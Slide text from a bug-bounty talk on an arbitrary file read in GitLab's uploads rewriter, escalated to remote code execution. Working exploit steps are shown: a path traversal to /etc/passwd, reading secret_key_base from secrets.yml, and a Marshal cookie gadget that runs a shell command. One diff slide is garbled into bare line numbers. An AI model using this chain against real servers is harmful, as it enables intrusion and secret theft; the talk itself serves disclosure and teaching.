

Arbitrary file read to RCE

The journey of finding and exploiting a bug in GitLab

@wcbowling

About Me

- * Software Developer at Biteable
- * Work with Rails, TypeScript and Ember
- * Play CTFs with OpenToAll and do Bug Bounties in my free time



Starting Bug Bounties

- * Started getting into Bug Bounties reading [#587854](#)
- * Class of vulnerability I'd never thought of before



```
git diff HEAD ./package.json  
git diff HEAD --output=/tmp/file
```


Starting Bug Bounties

- * Hunting for other flag injections
 - * GitLab (CVE-2019-14944) - File write to RCE #658013
 - * GitHub - File truncation via malicious options
 - * BitBucket (CVE-2019-15000) - argument injection RCE
- * Was hooked and wanted to find more

GitLab 12.8.2

- * Patch notes fixed "Directory Traversal to Arbitrary File Read" by @nyangawa
- * Comparing the tags revealed Filter invalid secrets on file uploads (commit 0e969d83)

▼  app/uploaders/file_uploader.rb 

View file @ 0e969d83

```
...    @@ -16,6 +16,9 @@ class FileUploader < GitlabUploader
16    16
17    17     MARKDOWN_PATTERN = %r{!?\[.*?\]\(/uploads/(?<secret>[0-9a-f]{32})/(?<file>.*?)\)}.freeze
18    18     DYNAMIC_PATH_PATTERN = %r{.*(?:<secret>\h{32})/(?<identifier>.*)}.freeze
19    19     VALID_SECRET_PATTERN = %r{\A\h{10,32}\z}.freeze
20    20
21    21     InvalidSecret = Class.new(StandardError)
22
23    22     after :remove, :prune_store_dir
24    23
25    24
26    25
27    26
28    27
29    28
30    29
31    30
32    31
33    32
34    33
35    34
36    35
37    36
38    37
39    38
40    39
41    40
42    41
43    42
44    43
45    44
46    45
47    46
48    47
49    48
50    49
51    50
52    51
53    52
54    53
55    54
56    55
57    56
58    57
59    58
60    59
61    60
62    61
63    62
64    63
65    64
66    65
67    66
68    67
69    68
70    69
71    70
72    71
73    72
74    73
75    74
76    75
77    76
78    77
79    78
80    79
81    80
82    81
83    82
84    83
85    84
86    85
87    86
88    87
89    88
90    89
91    90
92    91
93    92
94    93
95    94
96    95
97    96
98    97
99    98
100   99
101  100
102  101
103  102
104  103
105  104
106  105
107  106
108  107
109  108
110  109
111  110
112  111
113  112
114  113
115  114
116  115
117  116
118  117
119  118
120  119
121  120
122  121
123  122
124  123
125  124
126  125
127  126
128  127
129  128
130  129
131  130
132  131
133  132
134  133
135  134
136  135
137  136
138  137
139  138
140  139
141  140
142  141
143  142
144  143
145  144
146  145
147  146
148  147
149  148
150  149
151  150
152  151
153  152
154  153
155  154
156  155
157  156
158  157
159  158
160  159
161  160
162  161
163  162
164  163
165  164
166  165
167  166
168  167
169  168
170  169
171  170
172  171
173  172
174  173
175  174
176  175
177  176
178  177
179  178
180  179
181  180
182  181
183  182
184  183
185  184
186  185
187  186
188  187
189  188
190  189
191  190
192  191
193  192
194  193
195  194
196  195
197  196
198  197
199  198
200  199
201  200
202  201
203  202
204  203
205  204
206  205
207  206
208  207
209  208
210  209
211  210
212  211
213  212
214  213
215  214
216  215
217  216
218  217
219  218
220  219
221  220
222  221
223  222
224  223
225  224
226  225
227  226
228  227
229  228
230  229
231  230
232  231
233  232
234  233
235  234
236  235
237  236
238  237
239  238
240  239
241  240
242  241
243  242
244  243
245  244
246  245
247  246
248  247
249  248
250  249
251  250
252  251
253  252
254  253
255  254
256  255
257  256
258  257
259  258
260  259
261  260
262  261
263  262
264  263
265  264
266  265
267  266
268  267
269  268
270  269
271  270
272  271
273  272
274  273
275  274
276  275
277  276
278  277
279  278
280  279
281  280
282  281
283  282
284  283
285  284
286  285
287  286
288  287
289  288
290  289
291  290
292  291
293  292
294  293
295  294
296  295
297  296
298  297
299  298
300  299
301  300
302  301
303  302
304  303
305  304
306  305
307  306
308  307
309  308
310  309
311  310
312  311
313  312
314  313
315  314
316  315
317  316
318  317
319  318
320  319
321  320
322  321
323  322
324  323
325  324
326  325
327  326
328  327
329  328
330  329
331  330
332  331
333  332
334  333
335  334
336  335
337  336
338  337
339  338
340  339
341  340
342  341
343  342
344  343
345  344
346  345
347  346
348  347
349  348
350  349
351  350
352  351
353  352
354  353
355  354
356  355
357  356
358  357
359  358
360  359
361  360
362  361
363  362
364  363
365  364
366  365
367  366
368  367
369  368
370  369
371  370
372  371
373  372
374  373
375  374
376  375
377  376
378  377
379  378
380  379
381  380
382  381
383  382
384  383
385  384
386  385
387  386
388  387
389  388
390  389
391  390
392  391
393  392
394  393
395  394
396  395
397  396
398  397
399  398
400  399
401  400
402  401
403  402
404  403
405  404
406  405
407  406
408  407
409  408
410  409
411  410
412  411
413  412
414  413
415  414
416  415
417  416
418  417
419  418
420  419
421  420
422  421
423  422
424  423
425  424
426  425
427  426
428  427
429  428
430  429
431  430
432  431
433  432
434  433
435  434
436  435
437  436
438  437
439  438
440  439
441  440
442  441
443  442
444  443
445  444
446  445
447  446
448  447
449  448
450  449
451  450
452  451
453  452
454  453
455  454
456  455
457  456
458  457
459  458
460  459
461  460
4
```

```
context "invalid secret supplied" do
  let(:secret) { "%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fgrafana%2Fconf%2F" }

  it "raises an exception" do
    expect { uploader.secret }.to raise_error(described_class::InvalidSecret)
  end
end
```



```
get '/groups/*group_id/-/uploads/:secret/:filename',  
  to: 'groups/uploads#show',  
  constraints: { filename: %r{[^/]+} }
```

- * The filename and secret come from the route
- * They are both used to determine the file path

```
# secret related parts after patch  
class FileUploader < GitlabUploader  
  VALID_SECRET_PATTERN = %r{\A\h{10,32}\z}.freeze  
  InvalidSecret = Class.new(StandardError)  
  
  def local_storage_path(file_identifier)  
    File.join(dynamic_segment, file_identifier)  
  end  
  
  def secret  
    @secret ||= self.class.generate_secret  
  
    raise InvalidSecret unless  
      @secret =~ VALID_SECRET_PATTERN  
  
    @secret  
  end  
  
  def dynamic_segment  
    secret  
  end  
end
```


Investigating Attachments

- * Using RubyMine started looking where FileUploader was used
- * Based on CarrierWave

```
mount_uploader :attachment, AttachmentUploader
```
- * Models can mount uploads
- * Found `remote_attachment_url=` method via rails console
- * Lead to SSRF - <https://hackerone.com/reports/826361>


```
# Class that rewrites markdown links for uploads
#
# Using a pattern defined in `FileUploader` it copies files
# to a new project and rewrites all links to uploads
# in a given text.
```

```
class UploadsRewriter
  def initialize(text, source_project, _current_user)
    @text = text
    @source_project = source_project
    @pattern = FileUploader::MARKDOWN_PATTERN
  end

  def rewrite(target_parent)
    return @text unless needs_rewrite?

    @text.gsub(@pattern) do |markdown|
      file = find_file(@source_project, $~[:secret], $~[:file])
      break markdown unless file.try(:exists?)

      klass = target_parent.is_a?(Namespace) ?
        NamespaceFileUploader : FileUploader
      moved = klass.copy_to(file, target_parent)

      moved_markdown = moved.markdown_link

      # Prevents rewrite of plain links as embedded
      if was_embedded?(markdown)
        moved_markdown
      else
        moved_markdown.sub(/\A!/, "")
      end
    end
  end
end
```

```
MARKDOWN_PATTERN =
  %r{\!?\[.*?\]\(/uploads/(?<secret>[0-9a-f]{32})/(?<file>.*?)\)}
```

```
def needs_rewrite?
  files.any?
end

def files
  referenced_files = @text.scan(@pattern).map do
    find_file(@source_project, $~[:secret], $~[:file])
  end

  referenced_files.compact.select(&:exists?)
end

def was_embedded?(markdown)
  markdown.starts_with?("!")
end

private

def find_file(project, secret, file)
  uploader = FileUploader.new(project, secret: secret)
  uploader.retrieve_from_store!(file)
  uploader
end
end
```


gitlab-rails console

```
irb(main):011:0> uploader = FileUploader.new(Project.first, secret: "111111111111111111111111111111111111")
=> #<FileUploader:0x00007f404fcf3820 @model=#<Project id:1 root/proj1>>, @file=nil,
@secret="111111111111111111111111111111111111">

irb(main):012:0> uploader.retrieve_from_store!("../../../../../../../../../../../../etc/passwd")
=> [:retrieve_versions_from_store!]

irb(main):013:0> uploader.file
=> #<CarrierWave::SanitizedFile:0x00007f4065b153a8 @file="/etc/passwd">
```


```
MARKDOWN_PATTERN = %r{\!?\[.*?\]\(/uploads/(?<secret>[0-9a-f]{32})/(?<file>.*?)\)}
```


The Markdown

[illegible]

[vakzz-h1-group-1](#) > [dest](#) > [Issues](#) > **#2**

Open

Opened 3 months ago by  **William Bowling**

Close issue

New issue

test1



passwd



0



0



Oldest first ▾

Show all activity ▾

Create merge request

Discussion 0

Designs 0



William Bowling @vakzz-h1 moved from [source#2 \(moved\)](#) 3 months ago

Escalating to RCE

- * Brakeman - <https://github.com/presidentbeef/brakeman>
- * reported that `hybrid` cookie strategy was used
- * might lead to remote code execution

Escalating to RCE

- * GitLab uses cookies.signed[:experimentation_subject_id]

```
$ curl -v http://gitlab-vm.local/  
> GET / HTTP/1.1  
> Host: gitlab-vm.local  
> Accept: */*  
>  
< HTTP/1.1 302 Found  
< Content-Type: text/html; charset=utf-8  
< Location: http://gitlab-vm.local/users/sign_in  
< Set-Cookie:  
experimentation_subject_id=ImZmMDZlOWZiLTZhMDktNDRLZC1iMjVLLWNhODYzOWVmNGY5MyI%3D--3d423b567  
fd4d2f7e5fc57e48c8ee938aafe84c9; path=/; expires=Tue, 10 Jul 2040 11:20:17 -0000; HttpOnly
```

- * <https://robertheaton.com/2013/07/22/how-to-hack-a-rails-app-using-its-secret-token/>

Escalating to RCE

```
$ cat /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml
```

```
---
```

production:

db_key_base: 73cf0e388971ee4ec34e8daedd0d36cc...

secret_key_base: 462cafb8348b5472bcb58d2ebe5e3f23...

*** Leak secret_key_base with file read bug**

Escalating to RCE

```
# set secret_key_base to leaked value in config/secrets.yml
request = ActionController::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar

erb = ERB.new("<%= `echo vakzz was here > /tmp/vakzz` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(
  erb, :result, "@result", ActiveSupport::Deprecation.new)

cookies.signed[:cookie] = depr
puts cookies[:cookie]
```

```
curl http://gitlab-vm.local/users/sign_in -b 'experimentation_subject_id=...'
```

```
user@gitlab-vm:/$ cat /tmp/vakzz
vakzz was here
```


Closing Thoughts

- * Read as many disclosures as you can
- * Look at patch notes and perform patch analysis
- * If there was one bug, there might be others

<https://hackerone.com/vakzz>

<https://twitter.com/wcbowling>

<https://devcraft.io>